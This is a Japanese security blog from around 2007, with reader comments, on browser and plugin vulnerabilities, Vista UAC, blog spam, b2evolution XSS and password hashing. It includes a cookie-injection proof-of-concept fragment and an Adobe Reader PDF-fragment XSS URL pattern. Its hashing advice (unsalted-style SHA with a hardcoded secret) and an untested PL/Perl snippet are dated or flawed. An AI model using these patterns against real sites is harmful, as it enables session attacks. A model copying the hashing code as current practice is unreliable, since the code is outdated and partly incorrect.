document.cookie = 'testcookie=1234; domain=.coredump.cx; path=/';
window.location = 'http://lcamtuf.coredump.cx/ffhostname.cgi';
}
}
JavaScriptが実行できればどのサイトのクッキーでも設定できてしまいます。かなり強力な脆弱性なので NoScript を使いましょう...
https://addons.mozilla.org/firefox/722/
備考:Session Adoptionに脆弱なサイト(外部で設定されたセッションキーを受け入れるサイト)のユーザは危険。
1 コメント
定かではないですが
http://www.acros.si/papers/session_fixation.pdf
がたぶんSession Fixation/Adoptionの語源だと思います。
White Paperのタイトルで分類せずにSession Fixationと呼ばれる事が多いよう(?)ですが、分けた方が開発者も脆弱性を理解し易いと思います。
# 直感的にわかり辛い用語を増やすのは良くないと思います
# がこの場合は良いケースかと思います。
コメントを残す
Apacheの脆弱性
リンク: http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/apache/index.html
まだ確認してませんがこんなのが...
http://www.infohacking.com/INFOHACKING_RESEARCH/Our_Advisories/apache/index.html
The Apache web server is prone to several non crítical vulnerabilities -by themselves- that could allow
by combining them, and on some specific scenarios, to carry out serious attacks, some of them with that impact:1) Execution of script code in the client side:
1a)Web "defacements" (E-graffity)
2b)Phishing (authentication forms)
3c)System compromise (script execution on same domain than Admin Panel)2) Location header injection -cache poisoning-:
2a) Denial of service
2b) Partial URL redirection4) And the most innovative and interesting thing: almost arbitrary injections in the server HTTP response stream:
4a) "on the fly" fake injection of virus.
4b) In the future, with some additional hack, arbitrary injection of binaries -trojans, etc.-
フィードバックはまだありません...
コメントを残す
SSL Hell
リンク: http://www.hackaday.com/2006/10/30/dan-kaminskys-ssl-hell/
10月30日作成のページですが今みました。
http://www.hackaday.com/2006/10/30/dan-kaminskys-ssl-hell/
結構笑えます。(英語のプレゼンテーションビデオです)
これではどのサイトも信用できないです。
追記:
ビデオの見なくても良いように一番重要な点だけ書きます。
SSLの公開鍵・秘密鍵がデフォルトのまま使っているサイトが多くある、というくだりです。銀行などのサイトでも「ありえない」と思える割合のサイトがデフォルトのキーペアを使っていて暗号化の意味がなくなっている!!!のだそうです。(詳しくはビデオを参照)
キーはサイト毎に生成するになぜこんな事が起きる?と思われる方もいるかもしれません。ハードウェア系のSSLソリューションには静的に生成されたデフォルトのキーペアが設定されている場合があるのですが、なんとそのキーを使っているサイトが多数存在する、とこのプレゼンで言っています...
笑うに笑えないですが、不謹慎にも笑ってしまいました。
教訓 ‐ デフォルトパスワードだけでなくデフォルトの鍵も使わない!
(当たり前すぎです...)
フィードバックはまだありません...
コメントを残す
Windows XP -> Vista アップグレード
Windows XPからVistaへアップグレードする事に懐疑的な意見もありますが、一般ユーザの多くがVistaに乗り換えるだけでもかなりのスパイウェアなどのマルウェア被害を防ぐ事が可能になると思っています。最も効果的な機能はUAC(User Access Control: 権限がたりない場合や管理者権限を必要な操作の際にユーザ認証や確認を行うダイアログを表示する機能)ですがコントロールパネルのユーザアカウントで簡単に無効(一応有効にする事を推奨するコメントはありますが...)できるのはどうかと思います。サポート負荷を考えると仕方ないとは思いますがもう少しわかり辛い方法(レジストリの編集、ポリシーの変更)でも良いような気がします。
個人的にはUACがVistaを買う一番の理由ですがCNETでは全然相手にされてないですね...
http://www.cnettv.com/9710-1_53-26068.html?tag=bubbl_1 (英語のビデオ)
普通のマルチユーザOSでは通常作業は通常ユーザで行います。特別な権限が必要な場合は別コンソールでログインしたりsudoコマンドを使ったりします。Windows XPまではrunasコマンドくらいしか別権限でコマンドを実行できませんでした。このrunasコマンドは使い勝手も悪く、管理者がよく使用するコントロールパネルの実行など、実用的なものではないです。XPのデフォルトユーザのOwnerは管理者権限を持っていて普通のユーザは普通にシステム管理者権限でマルチユーザOSを使っています。この点ではシングルユーザOSと同じレベルという時代遅れな使い方になっていました。Vistaは初めて普通ユーザは普通のユーザ権限で使えるようなったWindowsという点だけで十分にアップグレードに値すると思います。RSA Conferenceでも指摘されていすが最近のマルウェアはカーネルレベルで存在を隠す様になってきています。PCを”普通”は”普通のユーザ”で使うこことが当たり前にならなければならないと思います。
# コンピュータに詳しい方でも自分のアカウントがAdministratorsに所属
# している方も多いです...
# 本来ならUACのようなあって当然の機能はWindows NT/2000で導入される
# べきだったと思います。UACを追加するXP SP3とかあればよいのですけ
# どね。
さて本題(?)のXP->Vistaへのアップグレードですが、さすがに使っているPC環境をアップグレード(新規・別途にインストールではなくアップグレード)をベータ版ではする気にならなかったので試したことがありませんでした。正規版のDVDでいくつかの本当に使っているWindows XPをVistaにアップグレードしてみました。
実際に使っているPCをVistaにアップグレードして気づいたのはマウントされたボリュームのアクセス権限エラーです。Vistaにアップグレードするとファイルのアクセス権をかなり安全な状態にしてくれますが、マウントされたボリュームには問題があるようです。アクセス権限を非常に緩い設定(ファイルおよびボリュームの両方)に変えてもボリュームをまたぐファイルの移動で「権限がない」とエラーになってしまうようです。
仕方がないのでファイルをコピーしてコピー元のファイルを消して移動しています。MSのサイトをさっと検索してみましたが同様の問題は登録されていないようでした。何か設定を変えると移動できるようになるのかも知れませんが今のところ解決方法は分かっていません。
XPでは普通にアクセスできていたマウントしたボリュームは、アップグレード後にはファイルの作成さえできない状態(アクセスが全くできない状態)だったのでNTFSのACLに慣れていないユーザはかなり戸惑う可能性があります。
いろんな物(ネイティブなVGAカードドライバ、AU Music Port、省電力制御アプリ、ネットワーク設定アプリなど)が使えなかったりありますが普段使用しているアプリケーションはすべて問題なく動作しています。
追記:
私はVistaは買いだと思います。一般コンシューマがXPよりマルウェアに感染するリスクはかなり低下すると思います。XPにUACがあれば特にVistaをお勧めすることもなかったと思います。
Vistaにも悪い部分もあります。以下が参考リンク。
Wait! Don't Buy Microsoft Windows Vista
http://www.pcworld.com/article/id,128669-page,1/article.html
10 reasons not to get Vista
http://apcmag.com/5049/10_reasons_not_to_get_vista
BadVista.org
http://badvista.fsf.org/
3 コメント
1.PowerDVD5でDVD再生中に音が鳴らなくなり、映像もコマ送り状態になる問題が解決した模様。(ただし、S/PDIF出力でDTS再生ができなくなったようです。なぜ??)
2. 共有フォルダへアクセスが異常に遅かったPCでもアクセスが速くなった。(WindowsServer2003の共有)レジストリなどの設定を変更したりして微妙に改善していたのですが、XP->Vistaへのアップグレードで普通になった。
アップグレードの際にレジストリを奇麗に掃除しているようなのでレジストリがきれいになった事が原因とも考えられます。しかし、1のPowerDVDが正常に再生できない問題はユーザプロファイルを替えると普通に再生されていたものが問題があったプロファイルを利用しているユーザでも正常に利用できるようになりました。レジストリの掃除が問題解消の理由とは思います。XP->Vistaアップグレードを機に既存の問題も解決するかも知れません。
メーカのサイトにはドライバは載っていませんでしたが、チップセットのメーカのサイトにVista用のドライバがありました。これをインストールしたらDTS、ドルビーデジタルで再生できるようになりました。
おかげで結構書いてあったホスト情報が消えてしまいました。
ドメインに参加しているPCでローカルのAdministratorsに所属するアカウントでも編集できませんでした。ドメインのAdministratorアカウントでログインして必要なホスト設定をしました。hostsファイルを書き換えるマルウェアが大量にあり、普通のユーザが編集することはほぼ無いので簡単にhostsファイルが変更できなくなったのもVistaの良い点です。
コメントを残す
PukiwikiからMediawikiに乗り換え
SPAMMERからのページ改ざんや作成が日を追うごとに増えてきているので、wikiを管理が行いやすいMediawikiに乗り換える事にしました。まとめて移行する時間はないので段階的に移行する事になります。
「あれ凍結したはずのページが改ざん?」と思ったら大文字を小文字に変えて新しいページを作っていました。
しかし、SPAMMERも色々考えますね。
# こんな事に時間を使うより、書きたい事は沢山あるので、
# コンテンツをマシにしたいのですけどね...
# タイポをよくするので親切な方から直接直して頂いてい
# たりしたのですが認証なしで編集は時代遅れですから
# 仕方ありません...
フィードバックはまだありません...
コメントを残す
PHP 5.2.1リリース
情報としては古くなっていますが、念のため書きます。PHP 5.2.1がリリースされています。
JP-CERTのアドバイザリ(JPCERT/CC REPORT 2007-02-07)にMODxのXSSが記載されていましたがこっちの方が重要性は高いと思われます。次のアドバイザリでは記載されるかもしれませんが、例によってPHP4は置き去りにされているので、記載されない可能性も高いと思います。私が編集者だったらどうするかかなり迷います。
# MODxはコードをチラッとみただけで試すのを諦めたのですが
# いろいろあるようですね。
時間ができたらCode Blogの方にいろいろ書いてみたいと思っています。
# いつできるか?が問題だったり....
フィードバックはまだありません...
コメントを残す
SPAMをテーマにしたエントリにSPAM
リンク: http://blog.ohgaki.net/index.php/yohgaki/2006/07/14/10a_ya_sa_sa_ia_sa_a_ra_a_ca_a_ma_a_a_ms
皮肉な事にSPAMをテーマにしたエントリにSPAMがありました。
http://blog.ohgaki.net/index.php/yohgaki/2006/07/14/10a_ya_sa_sa_ia_sa_a_ra_a_ca_a_ma_a_a_ms#c14228
(ドメイン名にSPAMを付けてページランクに影響しないようにしています)
既にあるコメントをコピーして張り付ける、といった手口ですが適当にモデレートしていると許可してしまいそうな手口です。この手の手法を使ったSPAMはまだ少ないですが困ったものです。
このSPAMはコメントでしたがトラックバックにCAPTCHAを付ける訳にはいきません。またトラックバックの妥当性を検証するにはトラックバック先のURLを見て検証する必要がありますが、そのURL自体が罠ページになっていてブラウザのセキュリティホールを攻撃し任意コードを実行されたりリスクもあります。有名サイト、例えばgoogle.com等、をタイポするとブラウザの脆弱性を攻撃しマルウェアをインストールしようとするサイトがあるくらいなのでトラックバックSPAMで誘導するくらいの事はやりかねません...トラックバックは便利な機能ですがセキュリティ的には非常に脆弱な機能と言えると思います。
フィードバックはまだありません...
コメントを残す
b2evolutionバージョンアップ
リンク: http://b2evolution.net/news/2007/01/22/b2evo_1_8_7_and_1_9_2_released
セキュリティ問題の修正を含むアップグレード版がリリースされています。
http://b2evolution.net/news/2007/01/22/b2evo_1_8_7_and_1_9_2_released
「意味がある形での攻撃は難しいだろう」と書いてありますがアップグレードしておいた方が良いと思います。
正規表現がおかしてくリンクが正しく表示されない問題は直っていないですね。
フィードバックはまだありません...
コメントを残す
Windows税の返金?
リンク: http://www.linux.com/article.pl?sid=07/01/03/227237
少し古いですがLinux.comに「Windows税の返金をDELLから受けた」といった記事が載っています。
私はWindowsも使うのでサーバ以外であれば返金して欲しい、と思わないですが日本でも可能なのかと少し気になります。何時間もかけて$52.50の返金だったので著者自身も勧めてはいません。
Tipsとして
- 返金してもらう資格がある(日本の法律ではどうなんでしょう?)
- すべて(やり取りを)記録する
- (時間の浪費や面倒なやり取りを)覚悟しておく
- 礼儀正しく
- 粘り強く
- 愛想よく
と記載されています。コールセンター構築に関わっていた事があるので「礼儀正しく」「愛想よく」と書いてある点には好感が持てます。
しかし、メーカーサイドとしてはこの手のリクエストは厄介ですね。バンドルしたソフトなどの返金を求められても困りますね... しかし、LinuxやBSDが代替OSとして利用可能なのでOS無しでの販売もして欲しいです。個人的に困ったのは欲しいノートPCがWindows XP Homeしかバンドルしてなくて仕方なくWindows XP Homeを買わされたで事した。後でステップアップグレード版でHome->Professionalへアップグレードしました。Vistaでも同じような事で困るかも知れません。
1 コメント
コメントを残す
SHA1でハッシュ化したパスワードは危険になった
リンク: http://it.slashdot.org/it/07/01/20/1936257.shtml?tid=172
パスワードを平文で保存するのは論外で、MD5やSHA1でハッシュ化するのは当たり前です。しかし、SHA1を2000倍早くクラックする方法などが発見され「SHA1は脆弱だ」(ちなみにMD5はもっと危険)とされてからしばらく経ちます。アメリカ政府や大手企業はSHA1は使わない、としています。
# Slashdot.orgにまた載っているので更に高速化できた、と言うことかな?
前のエントリ
http://blog.ohgaki.net/index.php/yohgaki/2007/01/23/postgresqla_ssha1
でPostgreSQLでSHA1を使う方法の一つを紹介していますが可能であればSHA512など、より強いハッシュ関数を利用したり、Saltを利用する、等の方法を採用した方が良いと思います。
備考:良いハッシュ関数の性質として不可逆性があります。例えば、パスワードを「abcd789oiuy」に設定した場合、SHA1ハッシュは「8bd7c6d4024410b312a89a9e13a9b0e8826cce31」になります。良いハッシュ関数はハッシュ値からパスワードが「abcd789ouiy」である事を推測できない性質を持っていなければなりません。そうでないとハッシュ値からパスワードを解析できる事になります。
Saltを利用した場合、仮にパスワードデータが漏洩しても、Saltも知っていないと認証を行えるパスワードを推測・解析できないのでより安全になります。つまり、
$hashed_password = sha512($_POST['password'].'固定の秘密文字列');
等としてハッシュ化したパスワードデータの方がより安全です。当然ですがパスワードデータだけでは辞書攻撃もできなくなります。
15 コメント
ご指摘ありがというございます。
http://b.hatena.ne.jp/HiromitsuTakagi/
にも少しかかれていますが。
Saltは、通常はハッシュ値の先頭に平文で付けるものですよね。
(/etc/shadowなどで使われている)。
Saltの目的は、
・同じパスワードが同じハッシュ値になることを避ける
・レインボー攻撃を難しくする
などで、秘密情報という意味合いは薄いように思います。
ところで、パスワードの保存には、Saltと秘密情報の両方を使う方がよいと思います。
ただ、秘密情報をどう安全に保存するか? というのは難しいですね。
> Saltは、通常はハッシュ値の先頭に平文で付けるものですよね。
古いUNIXでどのように使われていたかは知っています(UNIXの場合、Saltは公開情報なので「ぱっと見ただけで自分と同じパスワードを使っている人が判らない程度」の安全性を提供しているだけです。学生の頃は遊びでクラックプログラムも作ったりもしました。この時Joeパスワードを使っている人が多いのにも驚かされました)が、ここで例示したかったのは「SHA1でハッシュ化」しただけだと辞書攻撃で簡単にクラックされてしまう、難しいパスワードであっても同じハッシュ値となる文字列を比較的簡単に割り出せてしまう、と言うことです。UNIXのパスワードシステムと違って、WebアプリにSaltを使った場合、一般ユーザには公開しなくても問題ありません。(と言うより秘密にしておくべき)このエントリのSlatの目的は「万が一ハッシュ化されたパスワードが漏洩」しても解析できないようにする事です。ですからSaltの位置は場所は決めなければならないですが、最初でも最後でも、途中でも構いません、Saltを使ったマスク処理をしても構いません。
# ところで、少なくとも「辞書攻撃」(dictionary attack)という用語は17,18
# 年前から利用されています。恐らくもっと昔から利用されていたと思います。
# より分かり易い名前ならともかく「レインボー攻撃」と分かりづらい名前で
# 呼ぶのは適切なのか疑問に思います。
多くのセキュリティの指針等でも「平文のパスワードは保存すべきではない」としています。クローズドなシステムでパスワードの安全性が100%保障できるのであれば平文のパスワードを保存しても構わない、といった話になるのですがパスワードは非常に重要な情報なので平文で保存すべきではない、とされています。同じSHA1ハッシュを生成する文字列を簡単に割り出せるのであれば、単純にSHA1でハッシュ化したパスワードは平文と変わらないことになります。
要はパスワードは元々機密情報ですが特に重要なので、参照できないようにする・参照しただけでは判らないようにする・解析できないようする・解析を難しくする、事が必要でその一つとしてSaltがある、と言うことです。
今のところSHA512などは安全と考えても良いですが、将来その安全性が脅かされる可能性もあります。ハッシュ化したパスワードが分かり、Saltも分かっている場合、あまりに単純なパスワードを使用しているユーザの安全性はどのようなハッシュ関数を使っていても守れません。Slatを使っていてもコリージョンを起こす文字列を発見する攻撃を100%防ぐ事ができる訳ではありません。だた攻撃しようとしているクラッカーに対する障壁を高くすることにはなります。
> ただ、秘密情報をどう安全に保存するか? というのは難しいですね。
余分な情報をつけるのは万が一、データベースの情報が漏洩した場合のリスクを少なくする為の方法なので「ハードコードされた秘密の文字列」を秘密にしておくは非常に難しい、と言うより基本的には無理、ソースにアクセスできる人には公開情報なので「ちょっと見た程度では覚えられないくらい長い文字列にする」というくらいの対策しか取れないです。
salt付きでハッシュ化するのが無意味か?と言われるとSHA1でハッシュ化されたパスワードをクラックするツールが数多くある現状を考えると、多少は意味がある、と言えると思います。複数のsaltを使うようにすると更に解析が難しくなります。どこまでやるか?はニーズに応じて、と言うことになると思います。
しかし、このエントリで「論外」としている平文パスワードを保存しているサイトも多いと思います。今日、Adobeストアのパスワードを忘れたのでリクエストするとパスワードがそのままメールで送られてきました... Adobe的にはコレでいいのかな... 他の大手サイトでもパスワード送ってくるサイトありますね... 「大手がそうしているから」と言ってもその方法がお勧めできる方法でない場合も多いです。
とにかく、ないには越した事はないですが万が一SQLインジェクション等でユーザ名とハッシュ化したパスワードの一覧を盗まれても簡単にパスワードを解析できないようにするのは意味があると思います。Webユーザの多くが非常に簡単なパスワードかつ複数サイトで同じパスワードを使いまわしていますから...
ご指摘の通り、レインボー攻撃は一般的じゃない言葉かもしれませんね。ただ、辞書攻撃には、辞書単語を使うだけで、事前にそのハッシュを用意しないタイプの攻撃も含まれると思います。それと区別するためにレインボー攻撃と呼びました(事前にハッシュを用意しておくタイプの攻撃を指す言葉が判りませんでした)。
それから、Salt(ユーザ毎に異なる情報)と、秘密情報(共通の情報)では、その目的が違いますよね。後者のこともSaltって呼ぶんでしょうか?
あとパスワードクラッカーツールは SHA-1 ハッシュ値を解析しているわけではなく辞書攻撃などさまざまなクラック手法を駆使しています。salt は確かに辞書攻撃には一定の抵抗力がありますが万能ではありません。故にパスワード文字列をどう設定するかが決定的に重要になるわけです。
パスワードに追加の値を含めてる事を総称してSlatと呼ぶのが一般的か?と聞かれると疑問ですね。
UNIXパスワードのSaltは「味付け」の意味で使っていると思います。別の言葉を使うとするとマジック
くらいでしょうか?どちらにしてもこの使い方で一般的に広く使われている用語は知りません。
その通りですね。
時々パスワードの長さを制限しているシステムを見かけますが、よくないと
思っています。
最近の研究では「センテンスを使ったパスワードは十分に長いランダム文字列
と同程度に強固だ」としていたりします。例えば、
「娘の大好きな番組は二人はプリキュアとお願いマイメロディです」
等とする(実際には英数字で書かなければならないシステムがほとんどだと
思います)と十分に強力かつユーザにとっても覚えやすいです。32文字まで
などと制限するとこのようなパスワードは設定できないです。
そうですね。私も昔辞書攻撃するツールは遊びで作った事があります。(学生はいろいろ試してみる物ですよね?違う?)
私が言いたかったのは「SHA1で特定のハッシュ値となる同じ文字列を十分な速さ計算できる」のであれば「SHA1でハッシュ化した"難しい"パスワードも解析される危険性がある」と言うことです。元々パスワード情報は機密情報なので守られていて当然な情報ですが、事故やシステム管理者からの攻撃から守る為、パスワード情報は安全に管理するだけでなく誰も知りえない状態になっているべきと考えています。SHA1ハッシュ関数がその用途にも使われてきましたが役目は終えて、更に強固なSHA2(SHA256、SHA512など)ハッシュ関数を使用する時期ではないかと思っています。
「SHA-1 から SHA-2 に切り替えよう」という話には同意できますがパスワード認証を例に挙げるのはちょっと違うと思います。
あと、ご存知と思いますが、NIST は SHA に代わる新しいハッシュアルゴリズムを探していて、場合によっては SHA そのものが10年以内にお払い箱になる可能性があります。要は(少なくとも新規のシステムにおいては)特定のアルゴリズムに依存しない設計が要求されているということですね。
ハッシュ関数は改ざんチェックに利用される事が多く、一番攻撃対象となり易い
のが文書の改ざんと思っています。
このエントリ自体は前のハッシュ化したパスワードの取り扱いを書いたときにSHA-1
を使って説明していたので、実はSHA-1でハッシュ化しただけのパスワードだと解
析されるリスクが高くなっている、と説明することが意図だったので分かり辛かった
ですね。
でもこういった感じでコメントを付けて頂けると判りづらい部分も直せるので
助かります :)
> 場合によっては SHA そのものが10年以内にお払い箱になる可能性があります
MD5から派生した系のハッシュ(その他もですが)は設計自体に問題がある
のではないかと言われていますね...
開発者としては「どれでも良いから誰か信頼できるハッシュ関数作って」という
のが本音です。
http://en.wikipedia.org/wiki/Salting_%28cryptography%29
In cryptography, a salt consists of random bits used as one of the inputs to a key derivation function.
The salt value may, or may not, be protected as a secret. In either case, the additional salt data makes it more difficult to conduct a dictionary attack against for example, a password file, using pre-encryption of dictionary entries.
In some protocols, the salt is transmitted as cleartext with the encrypted data, sometimes along with the number of iterations used in generating the key (for key strengthening).
>より分かり易い名前ならともかく「レインボー攻撃」と分かりづらい名前で呼ぶのは適切なのか疑問に思います。
相手を非難する前に自分の無学を疑わないといつまで経っても自分の間違った知識に気づけませんよ。以下を読んでください。
http://en.wikipedia.org/wiki/Rainbow_tables
>
>http://en.wikipedia.org/wiki/Salting_%28cryptography%29
>In cryptography, a salt consists of random bits used as one of the inputs to a key derivation function.
>
>The salt value may, or may not, be protected as a secret. In either case, the additional salt data makes it more >difficult to conduct a dictionary attack against for example, a password file, using pre-encryption of dictionary >entries.
>
>In some protocols, the salt is transmitted as cleartext with the encrypted data, sometimes along with the >number >of iterations used in generating the key (for key strengthening).
まさしくこう説明されている事を頭の中では意図しているのですがSaltの説明をしているつもりではなかったのでわかりづらかったようですね。
>>より分かり易い名前ならともかく「レインボー攻撃」と分かりづらい名前で呼ぶのは適切なのか疑問に思います。
>
>相手を非難する前に自分の無学を疑わないといつまで経っても自分の間違った知識に気づけませんよ。以下を読んでください。
>
>http://en.wikipedia.org/wiki/Rainbow_tables
こういうテーブルをレインボーテーブルと割と一般的(?)に呼ばれている事は知っています。(知らないと思います??)
そういう事でなく、単純な言い換えや直感的にわかり辛い名前もあるので、わざわざわかり辛い方を利用するのはよくない、と思っていると言う事です。レインボーテーブルの場合、少なくとも辞書攻撃の方がずっと前から一般的に利用され、「辞書攻撃」といった方が「レインボーテーブル攻撃(またはレインボーテーブルを使った攻撃)」より直感的に解りやすいと思います。
# 解りやすさとなると個人の感覚の問題もあるので絶対的なものではないです。
# 「レインボーテーブル」という呼び方もずいぶん前からですし。
こういった基本的なことを知らないと勘違いされる時点で書き方の問題があるといえると思いますが、フォーマルに解りやすい解説文を意図している訳ではないので、適宜行間を読んでください。
今回は誤解(書き方の問題)と思いますが、間違っているのでは?と思われる点へのツッコミはいつでも大歓迎です。
人は間違えるものですし、完璧ではありません。
完璧ならとっくにソフトウェアは安全になってます(苦笑
コメントを残す
PostgreSQLでSHA1
MS Access 2003でSHA1を使おうと思ったらどうもうまく動作しませんでした。
.NETのmbcorlibにMD5,SHA1等のハッシュ関数が定義されていてVBからはMSDNに書いてるサンプルで動作するのですがMS AccessのVBAからはいろいろ試しても動作しませんでした。サンプル通りだとオブジェクトを生成する行でシンタックスエラーになり、多少変更しても動作しませんでした。
# 普段VBAでプログラミングはしないので私が無知なだけかもしれませんが...
# Windowsプログラマの方はハッシュはあまり使わない??
VBAでハッシュが使える方が良かったのですが、しかた無くPL/Pythonでハッシュ値を取得し返す関数を定義することにしました。
PL/Pythonの場合、
CREATE OR REPLACE FUNCTION SHA1HASH( TEXT ) RETURNS CHAR(40) AS '
import sha
hash = sha.new( args[0] )
return hash.hexdigest()
' LANGUAGE plpythonu;
言語を登録していない場合
CREATE LANGUAGE plpythonu;
を先に実行しておきます。8.0からplpythonはplpythonuに名前が変更されています。(Untrustedな言語なのでuが付く)
PL/Perlの場合は多分こんな感じ(こちらは試していません)
CREATE OR REPLACE FUNCTION SHA1HASH( TEXT ) RETURNS CHAR(40) AS '
use Digest::SHA1 qw(sha1);
return sha1($args[0]);
' LANGUAGE plperl;
同じようなコードでMD5, SHA256, SHA512等が簡単に作れます。
普通パスワードはハッシュ化したパスワードを保存するのでユーザ情報テーブルのパスワードフィールドはハッシュ値になっています。
SELECT * FROM user WHERE username = 'USERNAME' AND password = sha1hash('PASSWORD');
といった感じでクエリできるようになります。アプリの言語側でハッシュが使える場合はアプリ側でハッシュ化する方が好ましいのですがVB等でライブラリが制限されている場合には便利かも知れません。
4 コメント
いっそのことハッシュ関数などは標準関数にしてしまった方が便利ですよね。
http://it.slashdot.org/it/07/01/20/1936257.shtml?tid=172
今時SHA1で良いのか?という問題があります。
本当はSHA512とか使いたいところなんですけどね....
コメントを残す
なぜPHPアプリにセキュリティホールが多いのか?
リンク: http://gihyo.jp/serial/2007/php-security
技術評論社の新サイトで「なぜPHPアプリにセキュリティホールが多いのか?」をテーマにブログ風の記事を掲載させていただく事になりました。第一回は「CVEでみるPHPアプリケーションセキュリティ」です。
http://gihyo.jp/serial/2007/php-security/0001
CVEをフォローしている方であればPHPアプリケーションの脆弱性レポートの多さが目立っていることはよくご存知と思います。何故CVEエントリが多いのか解説しています。よろしければご覧下さい。
技術評論社の須藤さんに編集していただいているので私が書いた文章より読みやすいです。
今、気が付いたのですが、SecurityForcusに次の様な記載がありました。
The problem is, PHP applications accounted for about 43% of the security issues in 2006, according to the National Institute of Standards and Technology (NIST).
http://www.securityfocus.com/columnists/427
数えると凡そ半分と言っても良いくらいPHPアプリの脆弱性レポートがあったのですね。
フィードバックはまだありません...
コメントを残す
b2evolution 1.8.6にXSS脆弱性
リンク: http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-0175
このブログのb2evolutionは1.9.1なので、1.9.1のコードを確認してみたところ、1.9.1にも厳格な入力チェックが行われていないなど、確かに好ましくない処理が行われていました。XSSと言うよりHTTP Response Splittingに脆弱なコードになっていました。
攻撃を成功させるには幾つかの条件が必要でした。
- 普通のクロスサイトスクリプティングであるため、ログインするページを表示する場合に他人が用意した罠ページのログインリンクをクリックしないとならない
- その後、ログイン操作を実際に行わなければならない
- PHPのバージョンが古くheader関数が脆弱である
特に重要なのはPHPのバージョンが古くなければならない点です。PHP 4.4/PHP5.xなら問題ありません。このサーバで利用しているPHPも大丈夫なので対処は行っていません。
例えばRHEL 4はPHP 4.3なので攻撃が成功するかも知れません。(パッチを確認すれば脆弱性を攻撃できるか直ぐ分かるのですが未確認)いずれにせよ、公開用のPHPスクリプトを書く場合、比較的古いバージョンのPHPも広く利用されている事を前提にコーディングしなければならないです。
この脆弱性の危険度はCVEでHighになっていますが、SecuniaではLowになっています。どちらに設定するかは微妙なところです。環境が古ければ「非常に危険」と考える事もできますが、現在PHPプロジェクトが正式にサポートしているバージョンは4.4と5.2で両方とも影響を受けません。
話は変わりますがb2evolution 1.9.1は使わない方が良いかも知れません。正規表現に問題があるらしくアンカータグが正しく処理できない事がよくあります。本家サイト見るとサポートされているバージョンが1.8系と1.9系だけになっているのでバージョンアップを考えている方は1.8系を先に試す事をお勧めします。1.8.6で正しく表示されるかどうかは検証していませんが、少なくとも1.9.1は問題が多いです。
フィードバックはまだありません...
コメントを残す
クライアントサイドで認証とは... 在りない事が起きるのがWebサイト...
リンク: http://cgi.itmedia.co.jp/rss/ep_snews_1.0/www/enterprise/articles/0701/13/news009.html
「Macworldサイトのハッキングでジョブズ氏講演の優待席を無料ゲット 」したハッカーがいるらしい。なんと認証がクライアント側で行われていたそうです。
ありえない...
フィードバックはまだありません...
コメントを残す
Adobe Readerは8にバージョンアップ
リンク: http://news.com.com/2061-10789_3-6146959.html?part=rss&tag=2063-10789_3-0&subj=news
1月3日付けでAdobe Readerの脆弱性が報告されています(CVE-2007-0044、CVE-2007-0045、CVE-2007-0046、CVE-2007-0047)
Name: Adobe Reader Open Parameters XSS
Date first reported: 1/3/07
Vulnerable software: Adobe Reader plug-in versions 6 and 7 for Mozilla Firefox, Opera and Microsoft Internet Explorer.
What it does: Could allow denial of service (crash), remote access and execution of malicious code.
Recommendations: Upgrade to Adobe Reader 8
Exploit code available: Yes
Vendor patch available: Yes
詳し解説はリンク先を見ていただくとして、次のようなリクエストで任意のJavaScriptが実行できてしまうようです。
http://www.(domainname).com/file.pdf#whatever_name_you_want=javascript:your_code_here
としてどこのドメインでもXSSが可能になるようです。
# PDFが全くないサイトなら大丈夫とは思いますが...
サイト側では対処の方法がないように思えます。
# 相変わらず自分で検証する時間がない...
追記:
PDFとして処理させない事になりますが.pdf に対して application/octet-stream を指定すると大丈夫なようです。
プラグインつながりで、ついでに書くと最近色々見つかっています。
CVE-2007-0015
Buffer overflow in Apple QuickTime 7.1.3 allows remote attackers to execute arbitrary code via a long rtsp:// URI.
他にはIE7+FlashでDoS(CVE-2006-6827)、IE7+RealPlayerでDoS(CVE-2006-6847)が可能などが見つかっています。常々、プラグインは危ない、と言っていますが普通のユーザはあまり意識していないですね...
インストールされたプラグインを使って攻撃する方法は色々ありますが、Flashは結構攻撃使えるプラグインだと思います。本当のサイトをFalshで作り直してフィッシングするケースも見かけられるようになったそうです。フィッシングツールなどでページコンテンツの分析を回避する手法としてFlashで作り直しを行っています。スパムメールと同じですね。
フィードバックはまだありません...
コメントを残す
JavaScriptのソースに重要なデータを埋め込むなんて....
GmailでJavaScriptのソースとしてコンタクトリストデータを埋め込んでいたため、第三者がコンタクトリストを盗めてしまう、という問題が話題になっています。
まだ詳しく調べていませんがsrc属性に指定されたソースは誰でも(どのサイトからでも)取得できるブラウザの仕様を利用したものだと思います。
比較的早くからsrc属性で他のサイトのJavaScritpが指定できる仕様のリスクは指摘されていました。Gmailでさえ重要なデータをJavaScriptのソースに埋め込んでいるのですからAjaxアプリケーションの多くに同じ脆弱性があるような気がします...
手っ取り早く不完全な方法で修正するにはリファラチェック、きちんと修正するならJavaScriptのリクエストに鍵を付けてチェックする、といった方法で対策可能です。
http://example.com/javascript_contains_sensitive_data.js?key=123456789
と言った感じです。
# 鍵を付ける場合、セッションIDを鍵にしてはいけません。
# セッション変数にランダムな鍵を設定してチェックすると良い
# です。
1 コメント
JSON等を使っている方、大丈夫なのかな?と心配になってきました。
コメントを残す
PuTTY for Zero3
リンク: http://www.tokuda.net/cgi-bin/fswiki/wiki.cgi?page=PocketPuTTY
Zero3用のPuTTYをインストールしてみました。動作はしますが直ぐに固まるようです。
フィードバックはまだありません...
コメントを残す
個人情報ガイドライン見直し
リンク: http://www.sbbit.jp/article/3873/
経済産業省は、同省が管轄する経済産業分野の個人情報ガイドラインについて見直しを実施し、現在パブリックコメントを実施中だ。
SecurityNEXTでも報じているが、注目される点としては、事故発生時の事業者対応について負担軽減を盛り込まれたことが挙げられる。
たとえば、高度な暗号化などが行われている場合や、速やかに紛失した個人情報が回収された場合など、二次被害など本人に被害が及ぶ可能性が小さければ、本人への通知や公表などを省略可能としている。
最低ラインとして公表は必須でしょう.... 高度な暗号化とは? コピーされた後速やかに回収されたら?本人に被害が及ぶ可能性は誰が判断する? まだ読んでいませんがとにかく問題がある原案のようです。時間がある方は是非コメントを。
パブリックコメント:2007年1月31日締切
http://search.e-gov.go.jp/servlet/Public?CLASSNAME=Pcm1010&BID=595106051&OBJCD=&GROUP
個人情報保護関連
http://www5.cao.go.jp/seikatsu/kojin/index.html
http://www5.cao.go.jp/seikatsu/kojin/gaidorainkentou.html
参考
高度IT人材育成のための施策のあり方についての意見募集の結果について
http://search.e-gov.go.jp/servlet/Public?ANKEN_TYPE=3&CLASSNAME=Pcm1090&KID=595206030&OBJCD=100595&GROUP=
